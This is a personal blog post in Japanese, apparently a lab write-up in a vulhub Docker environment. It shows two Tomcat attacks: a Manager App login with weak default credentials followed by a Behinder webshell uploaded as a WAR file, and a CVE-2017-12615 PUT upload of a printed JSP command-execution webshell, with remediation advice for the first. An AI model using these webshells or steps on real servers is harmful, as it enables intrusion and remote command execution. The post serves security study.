banner
[面包]MrTwoC

[面包]MrTwoC

你好,欢迎来到这个基于区块链的个人博客 名字:面包 / MrTwoc 爱好:跑步(5/10KM)、咖啡、游戏(MMORPG、FPS、Minecraft、Warframe) 兴趣方向:Rust、区块链、网络安全、量子信息(量子计算)、游戏设计与开发
bilibili
steam
email
github

TomCatファイルアップロード脆弱性

環境:centOS7
tomcat
docker
必要なツール:java 環境、冰蝎

弱いパスワードの利用とアップロード#

ファイルの場所:
/root/CVE/vulhub-master/tomcat/tomcat8
仮想マシンで docker を実行し、コマンド
docker-compose up -d
image.png
仮想マシンの IP アドレスを確認し、ローカルで開く。tomcat のデフォルトポート 8080
image.png
右上に manager App があるのが見える
image.png
弱いパスワードを使用してログイン:ユーザー名 tomcat、パスワード tomcat
ウェブページに入ると、アップロードする場所があることがわかる
image.png
次に冰蝎を開いて shell をアップロードする準備をする
image.png
default_aes を選択し、サーバーを生成するをクリック
image.png
その後、自動的にフォルダがポップアップし、必要な shell ファイルが含まれている
image.png
cmd を開き、その中の一つ.jsp を選択
コマンドを入力
jar cvf shell.war .\shell.jsp
shell ファイルを war パッケージにパッケージ化し、アップロードの準備をする
image.png
image.png
成功のメッセージが表示され、アドレスを開いて確認する
image.png
http://192.168.1.4:8080/shell/shell.jsp
成功を確認し、冰蝎を開いて新規作成をクリックし、先ほどのアドレスを入力
image.png
image.png
image.png
これで shell を取得した

修正案
1、弱いパスワードを変更する(表面的な対策)
2、システム上で低権限で Tomcat アプリケーションを実行する。専用の
Tomcat サービスユーザーを作成し、そのユーザーには最小限の権限のみを付与する(例:リモートログインを許可しない)。
3、ローカルおよび証明書ベースの認証を強化し、アカウントロック機構を導入する(集中認証の場合、ディレクトリサービスも適切に設定する)。
CATALINA_HOME/conf/web.xml ファイルでロック機構とタイムアウト制限を設定する。
4、manager-gui/manager-status/manager-script などのディレクトリページに対して最小限の権限アクセス制限を設定する。

CVE-2017-12615—— リモートコード実行#

image.png
image.png
Manager App をクリックしてみると、ブロックされた
image.png
今、BrupSuite を開く
提供された POC を準備する
<%@ page language="java" import="java.util.,java.io." pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("

");}else{out.println(":-)");}%>

インターセプトされたものを Repeater に送信
image.png
GET を PUT /1.jsp/ に変更し、下に以前準備した POC を追加
image.png

ステータスコードは 201 で、アップロードが成功したことを示す。アドレスを開く
image.png
コマンドを入力してみる
http://192.168.1.4:8080/1.jsp?pwd=023&cmd=id
image.png
image.png

同様に、ここでの POC は冰蝎の shell に置き換えることができ、より良く shell を取得することができる。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。